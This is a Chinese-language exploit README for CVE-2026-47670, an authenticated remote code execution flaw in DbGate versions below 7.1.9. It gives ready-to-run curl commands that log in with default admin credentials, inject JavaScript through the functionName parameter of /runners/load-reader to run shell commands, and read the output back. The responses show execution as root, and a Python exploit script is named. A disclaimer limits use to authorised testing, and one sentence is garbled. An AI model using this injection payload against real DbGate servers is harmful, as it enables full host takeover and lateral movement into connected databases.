
通过 DbGate 中的 loadReader functionName 代码注入实现认证远程代码执行
通过 DbGate 的 loadReader 函数名称注入实现认证远程代码执行
DbGate 是一款开源、跨平台的数据库管理工具,专为需要同时使用多种数据库系统的开发人员和数据库管理员设计。它提供统一基于网页和桌面的界面,用于管理 SQL 和 NoSQL 数据库——包括 MySQL、PostgreSQL、SQL Server、MongoDB、SQLite、Oracle 等——无需在不同客户端应用间切换。DbGate 可作为独立桌面应用在 Windows、macOS 和 Linux 上运行,也可通过 Docker 部署为 Web 应用,因此广泛应用于团队环境和远程数据库管理场景。
CVE-2026-47670 是一个影响 DbGate 低于 7.1.9 版本的认证远程代码执行(RCE)漏洞。该漏洞存在于 /runners/load-reader 端点中,functionName 参数被传递到不安全的代码执行路径,且未经过适当清洗。拥有有效 DbGate 凭据的攻击者可以通过该参数注入任意 JavaScript 代码,这些代码将在服务器上以 root 权限 执行。该漏洞尤其危险,因为应用对 require = null 的缓解措施可以通过动态 import() 语句轻松绕过,允许攻击者、、横向移动至已连接的数据库服务器,或完全攻陷主机系统。
# Step 1 — 认证并获取 Bearer 令牌
curl -s -X POST http://example.com/auth/login \
-H 'Content-Type: application/json' \
-d '{"amoid":"logins","login":"admin","password":"admin"}' | grep accessToken
# RESPONSE
# ========
{"accessToken":"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJhbW9pZCI6ImxvZ2lucyIsImxvZ2luIjoiYWRtaW4iLCJpYXQiOjE3ODE3NzMwNDIsImV4cCI6MTc4MTc3NjY0Mn0.M61gw5bidF2kyzZwRukwzv0yxm3Zj0tUItdPqCXDQ_Y"}
# Step 2 — 通过 functionName 注入(替换 TOKEN 和 /tmp/_dbg_poc.jsonl)
curl -s -X POST http://example.com/runners/load-reader \
-H 'Content-Type: application/json' \
-H 'Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJhbW9pZCI6ImxvZ2lucyIsImxvZ2luIjoiYWRtaW4iLCJpYXQiOjE3ODE3NzMwNDIsImV4cCI6MTc4MTc3NjY0Mn0.M61gw5bidF2kyzZwRukwzv0yxm3Zj0tUItdPqCXDQ_Y' \
-d '{"functionName":"csvReader\nvar _f=await import(\"fs\");var _c=await import(\"child_process\");var _o=_c.execSync(\"id\").toString().trim();_f.writeFileSync(\"/tmp/_dbg_poc.jsonl\",JSON.stringify({__isStreamHeader:true,columns:[{columnName:\"out\"}]})+String.fromCharCode(10)+JSON.stringify({out:\"CANARY \"+_o})+String.fromCharCode(10));//","props":{}}'
# RESPONSE
# ========
{"apiErrorMessage":"The \"body\" argument must be of type function or an instance of Blob, ReadableStream, WritableStream, Stream, Iterable, AsyncIterable, or Promise or { readable, writable } pair. Received undefined"}
# Step 3 — 读取命令输出
curl -s -X POST http://example.com/jsldata/get-rows \
-H 'Content-Type: application/json' \
-H 'Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJhbW9pZCI6ImxvZ2lucyIsImxvZ2luIjoiYWRtaW4iLCJpYXQiOjE3ODE3NzMwNDIsImV4cCI6MTc4MTc3NjY0Mn0.M61gw5bidF2kyzZwRukwzv0yxm3Zj0tUItdPqCXDQ_Y' \
-d '{"jslid":"file:///tmp/_dbg_poc.jsonl","offset":0,"limit":100}'
# RESPONSE
# ========
[{"out":"CANARY uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video)"}]
python CVE-2026-47670-X7.py
本仓库及其内容严格仅供合法的安全研究、授权的渗透测试、教育学习及防御目的使用。访问或使用这些资料即表示您完全了解并同意确保您的活动符合所有适用法律,并且在测试或应用这些技术前已获得适当授权,不得对不属于您自己的任何系统进行操作。
本项目的作者和维护者不对因使用这些信息而导致的任何损害、法律后果或滥用承担任何责任。任何用于未经授权访问、恶意活动或非法目的的行为均被明确禁止且不受支持。
请负责任地使用。遵守法律。仅测试您拥有或已获得明确书面许可的系统。
SCT-PL